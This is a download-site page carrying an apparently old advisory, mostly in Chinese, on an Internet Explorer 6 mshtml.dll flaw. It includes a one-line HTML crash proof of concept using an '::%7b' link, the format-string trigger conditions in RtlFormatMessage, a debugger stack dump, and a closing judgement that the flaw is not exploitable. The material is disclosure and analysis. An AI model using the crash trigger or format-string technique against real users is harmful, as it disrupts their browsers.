⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ie exploit.txt

📁 其中的方法和代码
💻 TXT
字号:
受影响系统:
IE 6.0.2800.1106 SP1, Q832894, Q330994, Q837009 Q831167
受攻击的构成部分:
 * mshtml.dll version 6.0.2734.1600

当用户用右键在IE里面点击一种带有双冒号“::”和一个大括号的左半边 “{” 的特殊植入连接时,IE就会坠毁。
下面是一个HTML文件的例子:
--------------------------------- Begin Code ---------------------------------
<center><a href=::%7b>Right Click aOn Me And Click "Save Target As"</a>
---------------------------------- End Code ----------------------------------
需要注意的一点是,即使当用户在另存为的窗口弹出后点击取消,IE仍然会在另存为的窗口弹出后和用户
点击取消的这段间隔里下载该文件。Thor Larholm在下面的文章里指出这个行为让该漏洞变得更加危险。

当用右键选择另存为的时候将调用下载功能。但下载功能也可以被一种用META标签重连到服务器的脚本
自动打开。这个脚本将把Content-Type和Content-Disposition标题设置成一种位置的MIME-类型,这将导致在IE
尝试开始下载,并在临时文件里创建合适的文件时令  “ 打开/另存为“对话框自启动。就像另存为功能一样。

Array1 应该包含普通的printf-type arguments(除了formatstring)但是,当什么都不需要的时候,Array1的pointers
已经存在了,但是Array1本身并不存在。RtlFormatMessage的formatstring看起来像这样:
"%index!conversion!"

举例:当"%2!s!"显示一个为Array1[1]的String时 "%1!x!" 会显示一个十六进制的String。实际上转换是用
_snwprintf 完成的。RtlFormatMessage传递目标文件String,长度,formatstring和Array1[index]为第一个转换的
argument。攻击者控制着formatstring 和 Array1[index]。%10!x%x!将给_snwprintf %x%x作为 formatstring 和 Array1[9]
的第一个argument。

HREF转换到"[file] from [server]" (XXXX from ::), 被RtlFormatMessage里的formatstring 所使用。
bug必须按照下面的条件顺序来运行:
 *  HREF总数不能超过 97 bytes 或者 _snwprintf 不会被命名(called)。
 * [file] 不能超过 28 bytes 或者 _snwprintf 不会被命名(called)。
 * "file://::XXXX/A" 转换为 "A from ::XXXX". 用这种方法来突破[file]-长度的限制。
* RtlFormatMessage的每一个转换说明符(%index!conversion!) 不能超过34 bytes 或者snwprintf 不会被命名(called)
 * RtlFormatMessage 的信息长度限制为10000 bytes.从而每个 _snwprintf的命名(call) 都有一个适当的长度。
下面这个列表示已坠毁的 Internet Explorer的代码:
--------------------------------- Begin Code ---------------------------------
Address    Stack      Procedure / arguments                 Called from
Frame
xxxxEB3C   77F8F40C   ntdll._snwprintf                      ntdll.77F8F407
xxxxEED8
xxxxEB40   yyyyyyyy     destination = yyyyyyyy
xxxxEB44   00010000     count = 10000 (10000-allready printed chars)
xxxxEB48   xxxxEE84     format = "%x" (conversion)
xxxxEB4C   xxxxxxxx       = 1  Array1[index]
xxxxEB50   00000000       = 0
xxxxEB54   00000000       = 0
xxxxEB58   00000500       = 0x500
xxxxEB5C   00000000       = 0
xxxxEB60   00000000       = 0
xxxxEB64   xxxxFE6C       = &Array1[1]
xxxxEEDC   7C57F221   ntdll.RtlFormatMessage
KERNEL32.7C57F21B
xxxxEF74
xxxxEEE0   04246F30     Source = UNICODE "A from ::%1!x!"
xxxxEEE4   00000000
xxxxEEE8   00000000
xxxxEEEC   00000000
xxxxEEF0   00000000
xxxxEEF4   xxxxFE24     Arguments = xxxxFE24 [&&&Array of arguments]
xxxxEEF8   yyyy0000     Destination = freshly allocated heap.
xxxxEEFC   00010000     Length = 10000 (updated by RtlFormatMessage and passed to _snwprintf)
xxxxEF64   xxxxFFDC   [Pointer to next SEH record]
xxxxEF68   xxxxxxxx   [SE handler]
xxxxEF78   7C57F2CB   KERNEL32.7C57F102
KERNEL32.7C57F2C6             xxxxEF74
xxxxEFA0   70A9D0CD   KERNEL32.FormatMessageW               SHLWAPI.70A9D0C7
xxxxEF9C
xxxxEFA4   00000500     Flags = ALLOCATE_BUFFER|FROM_STRIN
xxxxEFA8   04246F30     pSource = 04246F30
xxxxEFAC   00000000     MessageId = 0
xxxxEFB0   00000000     LanguageId = 0 (LANG_NEUTRAL)
xxxxEFB4   xxxxFE28     Buffer = xxxxFE28
xxxxEFB8   00000000     BufSize = 0
xxxxEFBC   xxxxFE24     Arguments = xxxxFE24 [&&&Array of arguments]
xxxxF3F8   7174B9DD   SHLWAPI.#68                           SHDOCVW.7174B9D7
xxxxF3F4
xxxxFC38   UNICODE "::%1!x!/A"
xxxxFE24   xxxxFE44   [&&Array of arguments]
xxxxFE30   7175E158   SHDOCVW.7174B97C                      SHDOCVW.7175E153
xxxxFE2C
xxxxFE44   xxxxFE6C   [&Array of arguments]
xxxxFE48   717610C6   SHDOCVW.7175E122                      SHDOCVW.717610C1
xxxxFE44
xxxxFE6C   xxxxFEA4   [arg 1 -> arg 15]
xxxxFE70   7176111D   SHDOCVW.7176103E              SHDOCVW.7176111D
xxxxFE74   00199020
xxxxFE78   001D4358
xxxxFE94   001D5F74
xxxxFEA4   xxxxFEEC   [arg 15 -> arg 33 ]
xxxxFEA8   71761331   RETURN to SHDOCVW.71761331 from SHDOCVW.717610EC
xxxxFEAC   00199020
xxxxFEB0   001D4358
xxxxFED0   001D5F74
xxxxFEE4   001D5F50
xxxxFEE8   00199020
xxxxFEEC   xxxxFF50   [ arg 33 -> ... ]
xxxxFEF0   717604AB   RETURN to SHDOCVW.717604AB from SHDOCVW.717612E2
xxxxFEF4   00199C80   (arg 35) UNICODE "file://:|%1!x!/A"
xxxxFE70   7176111D   SHDOCVW.7176103E                      SHDOCVW.71761118
xxxxFE6C
xxxxFEA8   71761331   SHDOCVW.717610EC                      SHDOCVW.7176132C
xxxxFEA4
xxxxFEF0   717604AB   SHDOCVW.717612E2                      SHDOCVW.717604A6
xxxxFEEC
xxxxFF50   040BFFB4   [ ... -> ... ]
xxxxFF54   70AAC487   Includes SHDOCVW.717604AB             SHLWAPI.70AAC484
xxxxFF50
xxxxFFB8   7C57438B   Includes SHLWAPI.70AAC487
KERNEL32.7C574388
xxxxFFB4
xxxxFFDC   FFFFFFFF   [Pointer to next SEH record]
xxxxFFE0   xxxxxxxx   [SE handler]
---------------------------------- End Code ----------------------------------
The vulnerability however is not exploitable. This is mainly due to the fact that the SEH can't be reached and 
RtlFormatMessage doesn't allow enough room in the format string to have _snwprintf do stackpopping and overwrite it. 
In addition, overwriting something with useful value is not plausible.
无论如何,这个漏洞是不可利用的。这主要由于RtlFormatMessage在format string里不允许有足够的空间让
_snwprintf覆盖源数据。

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -